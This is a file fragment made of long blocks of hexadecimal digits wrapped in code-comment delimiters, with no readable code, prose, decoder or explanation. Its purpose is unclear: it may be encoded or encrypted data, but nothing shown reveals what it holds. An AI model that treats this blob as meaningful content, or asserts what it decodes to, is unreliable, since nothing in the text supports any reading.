e3c107dbee70681b2d28fcdb955d2ae8adee55bd32c1511fbfbed7fd7c61832150f3e239b3b003748d1ac20c165f9766f28b47c896cf25af37d42aa7bb465fa9dd1a8bf09c55c76368c21992498a35c1acb7a605a1c499731644ea5c63f430558299b1d73426e2fbbb6de36da0d25fc8aeb9dae372750c6dab24af95a4be5376714a02d5763ded75b96e579fd012838b385962c0057ba49feb85b10987b224633a093a8e27289aba3f0b3ee2987e7a85e660831ae93762f2943c49ef819165bf0d14865ded9093b085b4d4857db7f7c240f9c919a7d6322511bb5291a1115c839a3297743fb271dd9ab6a54c47c843d5ce5f416b716cdde1de9905b71317a1b5e32cc83a06b2487908949223fa8ee5c7466f3a1259f4b1fc5728df862ef304d8082414ec19382d7fd518c9ad2a0703b4976ff05c9a80b4ba1c0f8cdbc0f393971e9f84d66972cc917c7b23ed95ef13e885acf93e2ab356caed397569851334b5dbe53abdfff47d49d3448717f08c0120af84060c4eeccce12035310488aba383836a20ad7cb364fb9e461766d22c042550e26c8a76d8abda71900488288741c0105ea96a747bab4ad3ed38cd3d5010f3a7530622ddda8aeb6b522856211d9483d625e936b1497505f1201ea432066f91de6ee16bb2ce19a63380062960a869ed886740783d2a7e22d296ad8bc1d47c3303f1b37effe505b40386ad6ade2e6ebd86875c05ea9358287ec152e60b1304648f269488e3d96c16f51655ac0d8dcc527294bb488067acf0e5ceb1431305c0b7af857e9f996f11f5fa09cc2d70f22f7649a16f6509accfa982093a0296495e7a437ec27ae05720e7bcf46ad047092ec419c4e3353349a32706743d6d31a96b795c6ac4a135d2c9841976979bca46c10f7761fca72a57ad32fda6f916073813684e6b4a0d2e4dbd8ee50228b16330fbbdca1e85f68694ce601d89303b53831143e768c35d4a6dc820478ae605d8a7705f7de89df41abaa829d4ba9b6a34c93b28a8afb9559c23e3e0da1d88a2a14f992570202561fee44374d977ae2e7805ed27a2ee4b7fc3ec510127ffb8b1056c1b84bc9b3f42203121543e327225edb8b06feadf0e334651fe07b257e4acf72558db5e09f3dadc090dcbdf953dec60e8b14720574fb034c86c0d3f311d217d8b6891e11706c4ed05e49b90c067484c26e9631bdca002114882decfb5608e5795dc65517db070724437a3506058c0950e914dd31c325529b9d1cd879c0ec9aff83f9e994266709c4a508e6a0958e6eeaf5a0508c4981087a583cd38d12694c00935389c796c00c43a063c32b05ebf8aa4721b1c7f4e8f1160ae7e3312f3ff5061ca6d07232ce6aef69e55b6877509f4df6471ef07b3952bb05357dba4abc309d86302ad8ba267942d120b5493cc1c5f70fc79db82804b4be593f47983bcc806d6810ac15464207065fe37187b5d6904e64fd60d70152eccda87d65a64ad46b90a173f4399bbc65145b6cd68be17016ce727d843cc6cab8c1d78900a59b45436374ac62c95dbcd198416b1b21b191c67cc95971c018d5a318d4aa86d76f8370cb45ab14be0a09c9*/
/*fdaf49c9bf654b6549711f563f9fd9417f826817a5869fc07048393c26fbecfa468376166d257e7c1d50838f03e4dfad67ebac99361d92e223f1da2549b5db9f6e536ab45b1d398a3af4be11da7b71782a92b92b05c7babf9fb87de250ac22e329c2c0ae25ac8812a0c8993c0cf3530dccdb89188b97b297a2cb3dd990ff27b037a8762e26640fac325268db816a73c2cdf007f07f309792e4368349b52188951f4549402a3deff73a7672d9c82c24d01f5e0e191471f569c7515f803e1066d81e822bed84f63279b0824d088ed52e18bb8d067c0a2c3b9e8bb2d54436cf1a80a4cf2ec3a1a1b255e15f544f723b9468e668ee8e8d2174b5fa95cd610e9c0867c69768a87670a446a670315aa453201ae5414ba912e07375f266aa16ea05b2c68dc01a0fe16cbcafa7c81b99111d85094be92d2f61b7f83479367e4e6ed189eccc3f3abdd2c858c3bd60ae342a525a416dc77debd486a035394c7c860ff1c850964486451d4c405d9de2e6928effa541085efba9f92a078d531433232b984fb2eebe62f90009e115370d5ece3a55927d25ff730a0cf893d1a73530883584bb773d39a869a8ca5a7907e5167362ba159537b338d4bd9b0e742fcb701a5137732c6a027b5b6d2e2863a4e6cb70f4c6f6d2de3f931a912ad8c283ec9b05fc812cc63b2d276f54f0c62e1b2ae9836dc7621d8ebbffbfa3e6600d918cc51e5d870e353ce0ee65b6139109e50b4a6298ba9c1d7a3c04959a89c1d4a1d9db2d86eb75dd085b499e78c09ab0ecfa74e90dd3d2d9c41f4500780812d4875399da744350ea3040f1d1414919358e3910b79fd2bfbb9ae32937135bc962cdae6333877c2530f0f50e4ed7a3aad5df0b775b958e9be1deeb744988ce583c8afe3562dda30e753eb59b7d6a56c0562531230414b81d5b6625c025288828a79c2bd3ad986b2c17dedc92f257b71319a4853155f37f0f014b26f138ec134b1e972317956e02425d92bd1d3e5817fbdaf9419dd1a342f7991531e95c524ea872e38ac491fd43a50ba220f1d04786af41b786e6378dd566e129ced9caddd72d578ed92e83ec16167141a550d3ba2e56f8b05a48210d54a5af503d0230251ad63dc11ec9f81d37aba25ff9711dec8ff28dbf4b77c9b4f310511132adf630e7f1ab42d122a0e0167fb723b302b828ac89d266ee7a8d870bab7dd9fa19cc88284134391e8df9f9b0228a45574d64bd5a47d71bc8b1b1e62f6d8f04817cb95110d8658779d01b6592d78d873a1ca2badb46fa9b837565d62bb1a299b5895a1017f1edff0e8890b2e4cc7fb3dddb0a28b2aa6772dccec1353a44f8437d1094ab636b961876c49428d3d32238a25d8f1bde58e325027d03ea3ceeb1f8a0102d02c5c0646366f83868a1d05fb56829944fde715a166b735897f62bb59ac32a316d407a3acfe402309dcbff2a0af580806067b52b4892cfe5ecf7702deb605840ae1975fe36c4372b2609579fe3770fcf5fe03287e438c80790fac9ebbc6bb3c0222d8ced42c1d0b60f014b35325795b26ca596d53ea6dab7f5d65d3fcce58d8a8756e8a782cc03530ff4e84ed18c46f97a567346da8b8826ca6ac4fdfcbeaeec513d29c693274a3f35f65639c199c14da6411267900b20f210a3c7762797969b02b0555b1be79c6d2a150acd4983fd5e4edf8db7354f9164a5f4ed226202b17e74e1f80515d3adcdeb992bf818752d84abf2ec5ddaf88e6f5dad0cd9ff312967bb0e8f484dee91e7f7f1a70b8a9ea7de69cae751a09cc9e3270dcabed8810ebaa19def4f9facc4efbff7ed1b931c761eb9b34d40b03905fba9796497714b395f82312f09f44304f571d9c6ad1d4f8479120a8217056abff05822f7b8a80a7c1bbecf33622e2ef11c67084182f1403ae2acf10bb07689275387b7b8a5801625552527aade551926ea520df38628733a684f7c6c0a5600341de7e71049b05090e294e67b567f20c65229d28dbc297874499e80c6b49ca39a55cd079f316c4bd27585db7b8f6d4068e685596cf855f9c4fd7c8b18adce8abb300b0324d3962a62ccefb815e7923b4d84e570d966d1fc2d45b34798b3d4403a4bce5da7a4802e44f009172c06225b5afa8ed195b55c05d508868d567a3ab8d4ca973a91139b72a1b8bbbe0e8c3d33fe688262a76c8a5ea8e63ca3ed81acd816ed247248a7954be345e238b0bcd025d35d719273d85e2a24ab012836b2e3af11a16e6cc98cf2a55fc3d01286a1824f04cab91fc76927bb40d0187a474d7d89d0eee7f2630ccb7b953ff8cedff966a7992d783fd51ed17460b9f7d0fb0193dbaef7a0c55f1f681812504926c32506c582103afbd82c4b47213c0f913f389a5597af2f3c1a562e465b81e7f452072a42924bd52698cd8a7b1513ac5706f5ec617f19e8d63b8a7b6e7489ff31a9a380992ea62ecffad0a058ea27291bd9912e43668c5264cff3d64bb1fc3cccff171ad9b8cdad444b33cb71b2ea0b8e1dbc14db62ce7e4135c73112f504eb4768de47e99ddfe7a3c766c7a90bc1d83e14747d399b5bb608b5c9d3c954c86344a4138ffd924d279437022ebd5877351dc35296ba2727811a0cf9f854c8c25763ec8baadade6049bfe1554de1e33ec138c37052f545b094fd545be3dccfa421da1202a4912ab522756be56fdb7fde8cf6fa90f598afb6635bdf451258cb1a54e9c71bf3fdbcb3b533db53709b139e2db6e01158639e7448bb5cef5451713682279acf45c9a4e4c10d3d9428c35f777f70011e2cd3836131c1ed8ffaa27b8f2f27e856e22a511c9b05abc1909eb3118542a7439f5c1c5e2efea495*/
/*620a43a0b5fc210a2365c79c24079d4a4ef529ea63e30d43af54f2b2fef5ed6ea65ee5f88497c8a05b8b8d81018ff6bfbb6e96a493e9aa4af92b793f564d74ea8205a832db1d114c268f5e8fa37d968e395eefe26b3fa82418738154b909e2e3d9eefc79659f00ccf7c7a2c0a7f58d74cb03d678a28a7a32799ab100293d9eaf5c5694c82ad20f534feb5513677fae835bb41c5afc31736f14ff1dbce203acf02304ed22c3791b75736a07582920a9449a39fdbce1ac9eeb137d74595207ec9b63bad80d9311c9f565531b0d5ce6da8ab16f5dfb3333375e0a8ca7ccf73c72a2d8506120af7199dba371aae1ec2ecd85f3936c228f9b72c27fcc910c117f87fcf987ce0c34030fe64ff115bbd12c31dd6f81da696a2f4187df9af40c2eb2e40cb7aade23555fab1fb7bc5ca79a99fa5e92fe2fabbbba4a069d7547da8150f7966f5028545773cf75fbfb2197024751c2c18ed5998c469f7c49c9ac079a31a92fdb1dfd7598698fe05436acfad8564e87c6d1a1134d4582b449b0c311f866eda3186cb8322759bdaf9e7616f516101f3d1788ced5526c256ca968bb8096cb9da19b1af54472ea427b1dbbb2c590bc06cfe830d2fb20119a48f3c47173c2b26a53b7caefb89f2ae93a39b28d38013824b2285c085d69dab7bd67a6182be1a01257734743b3eda67064f939a7b2a52aba9df2354d0494de3549f3b07ffb6518f8e87c26f40e5431e8a5cfa8d2103bc01e120c240733c172670535679906d89f7bbbb4bd7ef6e417d7f2094c5695f580636bcef21f9ac3fc45e18cbf31835cd0f7d3f9cfac49a0d1368bb5b8953a4b052706177978007cdb0c0519c66118b716fb9a9ed8f9b02b03aefe3899da53da9c9077a02db9527d5f51481f607b835ee03807481be4e21ee3b09a4756f274e41a7943627f95cceabbbac19c768a7cec9e40ad00aa134e4e18926c0cd731928094d0618bedf2bead4551e8f0815b969905a923e8a1c5534a36355d49f8d2b5c7441a08144ae2c7f5f6b0495c4d7a58d2b2696aa28db4996531f56f631b13c24a0f18ada87ff8730f618a700e553091a9a31603c74a2a874cb49e7a1e814304ec1f3c3d0e23880069c348311703554f8cdd5c48221edd94986c9c8b2e03a7e493719ec97273139d4fad50ddec4da9ec54d7001967b99407d1ff82f839d57bf157f18a8dec9e76768ce1ee4c6f7426a950756c3c9da9d7a378b9cd46ff5ec18b5c84cfad94d24db7a1f4a6c5ba5cbba401b1016874b2d5dcd59842ee06ff77a4798f86033067a74213f26fc14a963ca6b88426e56a6708d43788c57c0bb79c4a30692513d3f95da6ca56c52ebfa02bdca4e2b2a874ce4456bbd8108dba0d1aeac306c486bc2b6fbadbe04571dc3f529e0e1dc69bc0667db97407226071be2ded161d36edca77906dd8f39834455695247748a78afe1907fa1126996c47e1f06e5a44e8edf4a15fd06e8808fd1fb0a8626ee40969ed9fa7d303aff3833626c0c48eba5a125d719b3267054c61428339120d8c89c294344fd2f433ac067833bf709fef303204ac5623665273263d7099ebe6412db7c29e1e3af1e86c8c4ad2e717400d9622498044ddca031a7209027939f1678b83e10bb04588cff882789279154919da1aecb9143df6159cb3956f4fdd3572355e368d6d3802b1cc420daf0621f82f5bd734bf4b5f02b38bcc0acea2b6b31617b1c43cd22a8c95501d6e2937379ce025a0b83a8deaf76103794b604c636ad13164eb3f16a483ce67cf1424e6d2d69916a0fcc96bbe98d40b531a029d95fa36f1ecfac8967ca248b67a29202188799bbd7dcaedc8f27a64bd9a5fff5dd9e7056be4eedbc507cd4bce9c4a9f012bb950b87e570826a77cde1bce8a9a93515a77c23a28d0d31d91eca69b6f1d540ea1364e18a87d38c0e65b60fbc2ab2d8174924fbb279d3912529604d3a9b21ae0393f4c88f1c690e96d0c9681d4ee5ff94251cf2ea51b206a497d9ada3cba5f51cd4825be16558fae158e21b1c5c6a4a6951d95e124e893c0066bf5fe39dda61dd1d523920594e8a955d2e03faa7c21fe3b51ac3f47fc3469668e10686630b04dc4eb2fd543f515f59e23875f8978ad37b038dc8fc1b9e90a35b4374420274f6b30acad28e1b079cd34a9570376a5fad08b0b09379a78660d02ee9fc51942cc3a941d2facba3b2bf916b61f1df14ad8f95c89d461dd7aa8461b36e0f40c612351d8a616cf47cde74785e3eb48db617e35ee790ab8cb5018d3479bc4aef9fd5a978fd7a0c7275705f6dd568b82e92ade4b799cde6e6c320a6e0b8ded5305c1f22475fe6ab406992820eda8b4d6a79da5ee5a08787ae434abb3d0098f1be70c863158ce45fd2273d507e34aa31e7d8d4a77ecaf82fc833a9da1d47dafe543b07f3008f2c0c130587472712bd3f88126a233906bfa6ec20cb8c46655f18db15979d37368d261ce8cf4aaf764d1297fb72749bb1fe33641b143578da3dbeaa721cbf1613b06a8b09bcca86377bb4a73735073abb37098ee71eae5c752a9a54e55bedf3407115852c104c4c0e09bc568ecea4288bc0998bf73f23e6c9beb6b0e2da82e27ac0ef788511faf22e19f7878fe1c9bd8c1d4fb3f3f4a353f7572ea051453a478e9e3da500bbd742694318e959c1d96ac1aded2b5fba61496aeb9ebd47e1fa1306a26df1be0d0e58ca03baab18c0a57b2d7772330790ed0ffb6cd800df35ed33550614e6c90a6f52e29354f431c3148f4d6f0cf3ad0de331beafa9570f749058c0d0aa51574a9b65ac998d2a6a367418f7160cde885de577126a26caf7d7ffb22663e83*/
/*11a97e0ccbae464cecb576df52c32b501eff7669fdd44feb1fabd1da6132cc92db350ca2060ae5da29c3ea2d073626293606ed8ae4ba61e93f73eee065def92560e5faec62a5b6bb5c2d5b6cad7007fd559b5682efcdf839d9e0e4aab9788774a679bd236ad4f6374e7316143e8ea536e6a8fa75b67204bb8d20a9b7ee9f8a92a4ad3b30a8081283b92be64ab032d6aadd7904205426119c828c855f5e96f04a19d60a83fa9c81c31856c41794a73c66675feb6e2f98e13b0f4d13ec7c3dd8e87fc31d7c8faefe22e496b3e82add0bdb40377f0cf81788fe0eff9cae1e52bbdc252d9569c66d6f3d14c830089b89c75a070a23867fc171903fd1d0cc9a2f275ff2df008d01e9631e9cfe3e030477ca77574d08d469612b5acbc298c6c287a5c911795a46bd9314307d83ac083dd0213ec2c13dd1755a4d280a6daf2cae76ff622baa766494503c6e77d6e08e4e8f2192a7f013aea5af350805b6fe458cc5749f6746cf115b7ea55601d423a063ea7b5bc6ac253dd6fec3cc50b071a769ab7416f9d08c676fa3d25ab196087c665b181ef91ac8ce6977435fe59a4b8846928e5eb974cfa5faf8c8b88bc8ade99057ce1fd520526da24696edab6e123109a3e5a56856e213bcea9b1c04cc55bd99a432c543f03b5a43c1ff95cfa249cdc989eef80dbe06b28fae20f9b5ed4a286c535f06e5a9efee3b23fe7a7954193306bcaa6ca5f3cdf0bb0c77d77be6ab1002a690c4d6f45e3db6422e3b8b0aee102ab54709f57679f59c08e6ee059ad2b5a7f3fb5696dbbbc07c276a3032ae531d78f0cd64ddc0a483c2c40ea5437c664466da76685fc99e927ca4438fd890acae390a496f3efa832712525803c31715c825f9621a019d4f42ded89f0e462e8a34faa4567962fe89d9b60f7f731b632ebabe4f7a8262f35efdca8869299f425230b0a578817cee7e94e7207c67aeaf663615f3588eba724eebc67a649d13dffc19374a34a8de6ce0e4a2029a98b12eea9b4f4086907c76b5bf19b99e03bcedb856c8d2616b5e79899fc7c6b8e4d4cb4d77e7a58bb2a88e1912edd76f89424394ea0ec5020dba6296639f2323e2b88b26192be6b2e4fc12bcab595c306fa843d06e3ef6f5e05b4e79d697d29bb9cde5c8cc2616d33d8b84215adde998867f57ce862f257bdfe1c9582c67cab6c9d627178c48d696c46d2335c7820cd066634dae7d86c6a3f58a5e63d2639cbae6fe28f9c917c279a6bfe1effe9d76b296ac8bf3ae1319a99d6e7f3aeb6133379b608d4c050b2c46d582c772ad156d5e6cad4efdcae028d7cd8f83f36e055455eac3edbdf979e6b24917709a3232e3925e96a0cb2355962a0674d38d92f33a36b420e6c2b7e916a99fed37ad1fe73079704566643c94111ba84a25d56e1aa98d4ed75641b619b7667eae0a5efdabbfa417997b7d546153e1c7e1111716b8e52d5aa114d384210ad9e660602229da55da5f4b437a339c7dc70b2da710f441db2d605a446840d024379b5c99fc2bf0a103a2af8712aaba127d3fae46838de002f6b634102a1f0dd01db6f32b2eac6e9034e73b0436a8493d88d5aefaa8ac765b2a1bec51dae4d95218d40b058c97ea0893f4ec17758b33f521b4e3af3caf9544d56a06a8aea3a95b0c0758d3432df1c86f6774568f522a9581dc462de308217592807d9c7803cb18df79cebe5378372bf1d40b6430064ccabab205464b1d7930c53a1c5af1ddbd837eaf6a478e7cf1c56b0023f0c82ea28766eaadee323aa7f03c972ec133027b145871db6e6f3464fb9b7074daf8cbcf269729ffc7b2535b547926c1d23f1919f640cd0560e31709a371db5da239643d52198a0722092a654f509ae13abd66ef29fb62c2a20a09d26634c35e49bd946dd7290777c102de09669f9ab4c25469baa0d4c3435beed93508b5b0f00a1f130b93e4565eb3bb8729c37afd5dc77d721020e20cb5135d9de8eb2e3ad38310352c7b651e997bb3cc4bc42176ade857114159b6c339d545d0ba272fdc7bdfbcdbf43cb0c647ae2a7cecd60c3cc9fc015d219c8e87a952bf6da28507982c838d3e3da0f2e5b3b5111b8f7a82e7eb190be0d254bb118f214fbbef92ef3d8fa0b7c887197f0b7e8d8795c232ea668e7b42eae6d7cd53a7ee1a636e38b3ddd1b1f5084c9ce7b64772911d4ca677e3e5894a3ac62cd3d68c59acd95d471c72893e9652fc24819091a0d9e94f348bf8f47faaf0a8ea6840b7161e32fd9c81566b77b3572232667c6a2f962d2dfc24538593a1b9f14716cb770bc410146932f127e1a55c531b6978235b76a818f820f3ec79f842aaf72690e03b7a162280855cbbb9fa7303d338296c48ad8312dcab02c130624968f226a88c2e9a899daff338444aff94d828aabdef3638cba676262cff44ad3b70cb6b2675f9b571c96872e4ceb71e13e81b91497def7f95a38564c6bb273a51c39a8cbcd63b0321f26f14a4e9117b8619c443fb951f1e71ffce71bb14c94f571e5feb6eadb5398bc6c9b211ea7cfee7a598c27264bf4385d466b4ff315511704c16467eb906ea4c3efa9132f5e6387a218add1d8ec78b5964a4830a15e14fca39f3910e92520fdbad9cb602d99203e7b9273a9fa8bc64b04419d41d73d258857906be3f773f62d2d0b6134661ccd070ce6b9cc4195dbcc83dbe37943b0b7364f3ac264a24c8becc97e735feae426ad17a7db68b2343a959f297fd570e8620121bb8c2963d5f81a1a63040e8638cd5837b7ab4ec24ccec63f2cced9a4411c82e9e44695deeab48b5960ef9d78d7b2a631e85e177d21fe279fb12d68a4b880e8bcca9fff4*/
/*8ae751bbdbbdd87d94cec2044cc7f4786eb53fc349b293f2bbcc39082696dbc879bcf5645093a74ac91badd82336185b8496a4730518578a245fac4886af368b540822c970e8624daca5e839d73a0f06d865da9e003dd19bcac9cca9627e958495adbf02fe51d0320ac774f3da35c0b746d72b41450776606ec28e453dcb705591633ed1a3ffed751ee28bdb729ce4e8c6cad40abe0cbdb684e5e3416beb5d8625b676a9f742415e622782e5e096bbca929b7d6b39d8a4f6dd54df98f5d899fad48c1793282493558684719f8b2fc469f5d5a69b43bdb0c58af49836b7bb0f17ebafcedd9402be40b32cf4de9dd6f4abf266397c90947e6c7a9da1d1a8385790298794a0925c47f355ebd7989d50a5e507f85fc8198948a3a73a4e24bbfc18bf74973efac5c54a927e568213d0e49c13d8a41f2cbc58f9251084d33c497796bbeebc7dadf5c27487cc9b15039ca680a947c6a6a4c95f5a57dc3edb68087f9de57914ca1ac7a11f1ecb2571868d3e6913e32594a7c5ed1b68cb4f73d3b9178918f9ce716c7a8046b4c35922b75e545d8ef234ed4503b5944ef9ae853e56a27b5522f1f508562b2d9d6c5e735897df3c302d428c434ed52dfd63a1866200a012222b61a850c13181e5063d9e01a694b849e6023726c014c52eb9d3aa58eb63214b3bb6caae575619d705b4796b350674e7044f82ea7e306eae7d1054bca4ce21f32b685d8f41a7323dfa55ad7aba05e2d5bad91a8eb66cab7d6f829bc4deace2e4bd09769de83a9320bd590f2bf452e6f91a140d334b87c3779411f31380c78440253955b084b95c2000c94429c67a82f631880922fed1839fad1e86b605f18dabc0bd5199e48cfb23d947dadf6aaec5fdd18031e77d4d2dd90345d69775b1306046e85df07e941d6043fa742f3023d60f5903d8abd822a9bb675dbfeff661e8c6ee70899fb51d031b550dbdc0a03aeb593820c21f154bdb06206a5ae190137ff026ab77c5411cdf254e36d352f4b1dc27bf43423523f820e4138e2ab7a8394947f7f0ccba5117f1fc60ae8d9ec22a9b12f44d6e170220745c6cee6f99e11d216ae09e718e2a7d3d239f3fc399f05e5de680c638a6cf3694bad2d3244c39e7fc3802b433b96ff1fa4831bfb47d12a6eea4d463082473bcd0e55f8cd479b10b8c944de82c0a6729bea510b6bfd5f41e244711409267a1a144c65d27a95e921b5f080af5f16fe2465f2d04712e83c3559deade4199bffa674de362fdd7ca4b64078d5bd2b3878eeb2c8b30bd75a367ff59575bca7ec6d31666fa6b89509f3311a6342e7d8fcb6c4fa9483fa7c23524fba450f724b048b12f7bc41fb635bd118054d360e95c77877b48828b229e2bef5f32e09c76f7c567984295667b989919a9fbb9b986a4d30b11b701896d6983e8f094eaaa7467012f6ebcd478d85231e831866db8126e06ba7b8fb83d700573db1a3d3ecad757b2716f274090e46f1e4afd517f3cb13a3586e8259c07acaa994fd67e8824093a26dccc1ffdb96d3781ca5fe970d90cee65360e829e90c2f19bd8e9b1a24e50425536557460c8259c70a334aa4d374e3d0c6421b5d0bc25d1070b88664651337326bcbac6689aedafd727b7b23ff15489e2feaad25c2bcacc7c79eebdba52a8609694cf5739b1a3f8ef09c77c72e2d77f855ae9f2ccbe8db2c7479e45e9ff9266a0e8b28da0560fe99816feabafcde7f56c58ac2250436862bc3b02d240b332d831cf129414166f673dc58884b92a936ca937aa52da0f7817649b1ea55e03f42959a48752624a9ed7b4d40c6f263b757ecb4b81d4077bd5ec1e2206d9cd645fd2eec23e0018104965ef84a0ab9b2da1a7b2e48486e88663fcd32531bc7294371d401edbf4d00fb7a6bd87fcef9004afb2fc23b78139588e11c9ecf2b2d2ce2e43f352db9e436d6fbbc93ebba11880270a072f46bb0660a455f0b9d6fac5d27cfebada5d4d5643bfead57fc229c486d715a5ef754adf5cd4af103d1ca36991ab24ae478293223a55a13dec23433a5d9255cd2ab715b8079026aa3a795da0ff0dd8abbfc59a2bc1f2a4fb99bcedb22d7d21ac19786fea10d09a08c0814dfa5de92e31a3a48faae4efd73e4fff8584e41a20a923dab2525f38e8dcff839368d8d7214d4223ce0a9bd8f00ef5735376ee453fcb7f477e964bcf36475601f8e81d8adf1bb356cec1da5174c11f09f990d4568d645976739ab265078bed15a4ec72e7b938450f95aa0be4db29955fa88551a6ab4fe4e4e90633cfee0eaeeb239d0d4623ca64982ba75eb4f45aa73c204f720388f361213d0c1dab8b9d8d02e387717888d1b9de4d448afb6bdef213c68be777a14746df3cf7ad6b41a15bd82c675dd4db6ad06843fc50e00675f4d1c04916703d07e42b0376b1e89d2c5ba8f47e4453b1abcf8bfc6832d451be5b8728eb96ebe8f3fb34ae193c8ef3c3094a95869f93385c82c2cf4f91942c5ac9014bff8913785674238ad3f91a2633ccf134e3959b0968bcb3081bfe1f5a83cc1078da8ae515f55b354eb8c71d005b058f4fe0cfae97caf9ade4b1b0c6fce53c9c10cfe7a45c6e1b153b7555509d3893bd80579808474d4e16359ff74c0fd1180e2885e887feff385c0ff82a2db39488f62bc0809a8105b90caf7469b17130f114b65077e5e7fbfdc7ad7635740cf068f8ec4e1fb72a1a04c9e041209375da7ce30000ae581b769c4a850c42f45e8c2eaaa9f943024352424d3872e5e0cf08f46a428150520d5b64896a14d09f748b15f5be10523d0d61abbe8bfa84f8a21fc34325bbf7bc016cfce983373d8f2b4bf0fbbd41*/
/*2cfb0230a9fa1a1b5711d0d3abf54792fef8ac04b233f359ff30c92564761d6aa910bd294ca375772e225c71cf397f488992b627c0d984fbfe5c3f477c8ae066210ffa43098e6d4c098b6ac25f0507604542ae94c9901f625f846baefc63ea49b89a1ee0eec3b8129cda474c989e159b316d45f6645812c97ad0bbfc603a5eeb79827e7a0428b035078c8d96e550343e77059d31afb6ded7ff62fae2e0667aa46df5d3b13164e801fb661530dce746235fb2cba4de4424e0a2d377c852b3e7977d8486472308b90e7055332834d4a90585b8b74530f4e7eb9aa50dfb9423a1fcda998204361898096473e7efb9c8fee77996eee0ca0a28f9b44fc9b3f1ce974a88c4ed2d6c4afca54051d99ccda0ebe9e16a7eb8c62a2e085e560b8f68834a15952f7439790c3c77ad81b811d5fd31e0cf5e5b8b3c13dc5d7bda39c1bae60f6910185d22dde330fd7813b6fa63c59b05a7296978e509d5d093e7d0acc4dd9e20057490f256595bae345aac1e9d5d93bf91c21168624a638a5fa9ab8256551bc50c3a4f86669f8aa3ac73c7fd9990e2ef7108ce7688c77c25e39208dc9c88b9c62be25efa9f1ea37b3c15d8976a2732d41a696a14767847ac26466de9ceabd878fbad9889a3ca3916247fce620452f9d6d439eed66829059c9efb1a278794b9e12a636f84253afa6573bc8dc84b7fd968415a2d83311fac980ffec5e2897abb0530865657228691d037e95ac934f3f0dc56df8de7f557bf88b9c60419f0d1a025d93a49e026043e55975eac4d89f05fdcc780f1439bfb87e4f6d1d8fe90fcdb95484ead90e17d4f9958f788e693c704b4eb052c259ace21cd586f67df88fb1cd8274302eea3075f5f9ae94aed6a02d977a01e3ddfc5f4fd239aa5f6c4abb3b88bc0ad8957ef36775d1ffdec8bdb45771898f38cc099c06ec72bc4f4c5bbb7a0f81471a9df55ee941d7e9e31eea380c57bba0cd8b11fab83d67145333c05b6e550ca7101a00fe2f542ec4138b7e4f21eba8a5e3235a4e3119d48d695f2b8602715f35fd5ec7904cf7c2effa15f6ea952b8276181beac3d689fa643c727daa1d1623b5e336f7c9890de6b8863fa4260c5890cab1ac8374cc466f11be7a25d250bd3fe695fafa302502493f5647fb9a9b855e1cc8823993dae0d34fa72785d2fc27adebb335a9f9e64c37c2616783cf4ac13f258f373c45cbb5a50a924ac6e18047da840a3ababcf685790983c32a833222ecf6455cd1b72d174318756f8d1d111c08d7f823004220c3b184eb72ae338c1e587c9da4b2a8ca83925569e8063373f6ea4b45528961ee40d170b5958217dd32ba11579dfb6decaa4ffdd14ebc34fe300ae63af972e6466f487c22b78d51ba63b3378bdb5fc1f8905f1e331ed62dd7f0f1d492ca2e845720b9f1f8f0bd070c165db16f5c01eba937cf4ba46f23cc17a6a18ad344d3f3dcf558bea3c460e2e6d2d27c9e60596bc8de8d43cace5bfb6b92b129b9ca7a594390b64babd714f3a8e468a7bfa4d8a83a7fd17176e14fab6d6324d721286039127a052c65e155f7e6d379554a67809148902092dc00505b1cb42f184bea65588fc2d7695a5335103bb855de1b33e22d4341502657051052a3209178ef592b0dcc8702e9c27413f0f905b370c499ea2d4b8b4f54eb0eb1aa270d140d04a739880be6829b4dc738cf5bc68e7eecf49f1a9ff0c144e96c551cec6bb8b80a406b2789fd8bba1db514494f02da03f0efd1f339f8005c99da92b0f9f18670514dd7944bf96cf7c039fbc1aaf0f7500bdfeee011b6ce4c1387ce698e00d0ab96281aa8ed788119b14e1b922b60e1786776ecde0ec33ab50239832800901dc121bd7db6e8d24d10ea9b81c46f0079ea9cf609b0af46968d7bd28876c72b61d77170c80f7538c4e0e47bafaecf377e3b6745c336d46847eef69d985f31f18611fede7dbbdff8facc8824263a4bb58772c5cee2ca756b194390bd3cab58e0250b00282ac404d3f2de36bca930a271809bbc0740a300530e6faca0464c8098fe73309783a8956673b4f6ee40686a4b730bf9b35dd4169d193f6b7bb1744117342b95cbbcb81d2f13a349fac369daa6f29dfb1fa4d879c5d68ff27006e2dfff83e9c758351c2064b2c2e2e7a39e7357a58bd33c09f1b8cdf548d076db0cd92ef862e35875bb041d7a4dcf33e7b525d540702b80075983eadc3f34a495fe4c3ae0e18c300a010d7b45178e32b76c7eb1dad86a651f8fb500d22720f29abde05fb83069413ba3271844711af6f93b28eb3f58f42543009eeccfd7da77f53ddde23024052570d7a99d85b941c0bc14781bf04d9cf37d16e2d36ceccff1cc1efd15486da0111ceb47a71ceff0b7f6c3e74c5053c5d17e4b86eeb995f0dac0a4e460b044952b7e5d1d9079a77db23420532d374efecd6733a9f865ac2dbd5b6ec7be3a1dcf956f98f43816507dbdc7eb500b5d21c1074847ab162661608961da127b8aa869f442f40b42c9611060113c08bfb0eb6d8215ab141d6971cfc6b484802855c636e05d446b20e639ac73f8476db6729e6db4e0b3ce83d11365d830b64a6667a0e8c384cd7b8efc09019410eb9544004bbc19b653f32884fed1ffc28615abacc748a07212a04bf717fadd1aa4d6fa1e13d712a286fea7f34167ca680bd3ed9c85d9ab191a5b3b6e0ba59959b254d62030293e6e35d01821992ca0cf4f510b91ed9cc3a1d91fcf895c537b322a4fa7e437f615e8012bc474db922c9d08eba2ec481b987b9a35c5efbe9be4c7aa5c69fd1bf6fac15eacbbf66775e32f0f6751027d25953f4ccd52e015ddcbaaadd08d2*/
/*e81f19c10f91a930bd33cf96a825554b269fae3f4b4f932f04d73a0de066f0ca4ccdbe9958b915410e29a9453334e6f0304e206212afc736b485be8ee7d0afe59a1aaad9591fd1405f017c3959df708533042bc237dce8fbf52e5844679e4ab7a7e7b950ebf0e9b08368a0766b01a983e04801582bcb86fbffb58c07bb4a47eb8d947bb003a583c2bff2645fec1457b1bbd7fba136b139a7f49d810ce8dafd00b10ddd2d1e862443cee65745db5bb110c00446e89cda7aa16d92493d4d57cacd23d9d032747e9277223a77d40af9a4a558008239303ffa382f882529f0594b1710f6fad400ef6341512f07a0a393f36ce0a3430729912cdfff9dd0c298702faf1bf0a3aba6b7b62ea581b268c3f1cc4084fb715ac18eb51d5bfeb595e888632a9342b465349cf2aa543ecb65948ce2fe5b25dddb8582487d56c7359547e17ef93ea00e539a2596170190fa6b5682332ad517a973c33f2370c8c0a35ec9a5bc146f3be0e88bc4d578f85a5dd721b7a33976334c2806d3d1f3380f417fe0cac911aee2c899d58bceb63d52ce5667415095072a